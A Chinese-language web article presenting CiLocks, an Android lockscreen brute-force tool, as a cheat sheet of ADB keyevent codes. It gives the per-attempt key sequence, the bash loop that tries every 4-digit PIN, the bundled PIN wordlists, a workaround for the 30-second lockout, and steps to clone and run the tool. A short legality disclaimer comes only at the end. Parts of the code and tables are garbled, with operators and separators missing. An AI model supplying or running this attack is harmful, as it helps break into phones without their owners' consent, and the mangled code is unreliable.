ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

CiLocks的keyevent速查表:8个Android按键码如何操控锁屏界面

CiLocks的keyevent速查表:8个Android按键码如何操控锁屏界面 CiLocks的keyevent速查表8个Android按键码如何操控锁屏界面【免费下载链接】CiLocksCrack Interface lockscreen, Metasploit and More Android/IOS Hacking项目地址: https://gitcode.com/GitHub_Trending/ci/CiLocksCiLocks 是一款开源的 Android 锁屏破解工具其 PIN 暴力破解模式的核心就是adb shell input keyevent命令——通过模拟实体按键远程向锁屏界面输入数字并提交。这篇速查表带你 1 分钟看懂脚本中用到的 keyevent 按键码适合新手理解 Android 自动化输入的底层原理。为什么 keyevent 能操控锁屏1分钟理解原理Android 系统把每一次物理按键电源键、数字键、确认键都抽象成一个按键码KeyCode。只要设备通过 USB 或无线方式连上 ADB就能在终端里发送input keyevent 数字系统会像真的按了那个键一样执行。CiLocks 的破解思路非常朴素先锁屏让 PIN 输入界面出现逐个按数字键模拟输入密码按一次确认键提交判断结果继续下一轮。整个过程不需要破解算法拼的是自动化 词表而这一切都由下面几个按键码驱动。keyevent 码速查表核心按键码一览以下按键码全部出自 CiLocks 主脚本 cilocks按控制和输入两类整理3 个固定控制键码按键码Android 键名在锁屏流程中的作用26KEYCODE_SLEEP模拟按电源键把手机锁到锁屏界面82KEYCODE_MENU唤醒设备调出 PIN 输入界面66KEYCODE_GO提交已输入的 PIN触发一次验证数字键码0~9 映射为 7~16Android 的数字键码从7开始连续排列脚本里用数字 7的公式动态计算这也是速查表里最容易记错的部分输入数字按键码输入数字按键码075121861329714310815411916 记忆口诀数字 7 按键码。所以adb shell input keyevent 15输入的是数字 8而不是 15。暴力破解流程拆解从锁屏到提交以 cilocks 中的Brute Pin 4 Digit模式为例每一轮尝试的按键序列是adb shell input keyevent 26 # 1. 锁定屏幕 adb shell input keyevent 82 # 2. 唤醒进入PIN输入界面 # 3. 逐位输入PIN数字7例如输入1234 adb shell input keyevent 8 # 数字 1 adb shell input keyevent 9 # 数字 2 adb shell input keyevent 10 # 数字 3 adb shell input keyevent 11 # 数字 4 adb shell input keyevent 66 # 4. 提交验证脚本用 bash 循环实现了上面的逻辑cilocksfor i in {0000..9999}; do for (( j0; j${#i}; j )); do adb shell input keyevent $((echo ${i:$j:1}7)) done adb shell input keyevent 66 done如果内置的 0000~9999 不够用可以切换到Wordlist模式脚本仓库自带两个词表4digit.txt1 万条 4 位 PIN按常见度排序第一条就是12346digit.txt100 万条 6 位 PIN同样以123456开头输错5次触发30秒延迟怎么办多数手机连续输错 5 次 PIN 会锁定 30 秒CiLocks 专门处理了这个边界cilocks每试错 5 轮再补发一次keyevent 66终端倒计时并sleep 30等待解锁重新发keyevent 82唤醒用adb shell swipe 407 1211 378 85模拟上滑重试手势回到输入框。⚠️ 注意部分机型上keyevent 26后锁屏界面不会自动弹出输入框此时按 README.md 的提示把脚本里被注释掉的# adb shell input keyevent 26取消注释即可。快速上手三步跑起来前置条件Linux 环境 ADB USB 数据线手机已开启 USB 调试。git clone https://gitcode.com/GitHub_Trending/ci/CiLocks cd CiLocks sudo bash cilocks进入主菜单后选择2. Brute Pin 4 Digit或3. Brute Pin 6 Digit即可看到上面的 keyevent 序列开始工作。更多模块说明可参考 README.md。写在最后keyevent 速查表看似只是 13 个数字却是理解 Android 自动化攻击/测试的钥匙控制键码负责开关界面数字键码负责填表单66负责点提交。安全提醒本文仅用于安全学习与设备管理研究CiLocks 项目方也明确要求请勿用于任何非法活动。请勿对非本人所有或未获授权的设备使用。【免费下载链接】CiLocksCrack Interface lockscreen, Metasploit and More Android/IOS Hacking项目地址: https://gitcode.com/GitHub_Trending/ci/CiLocks创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
返回列表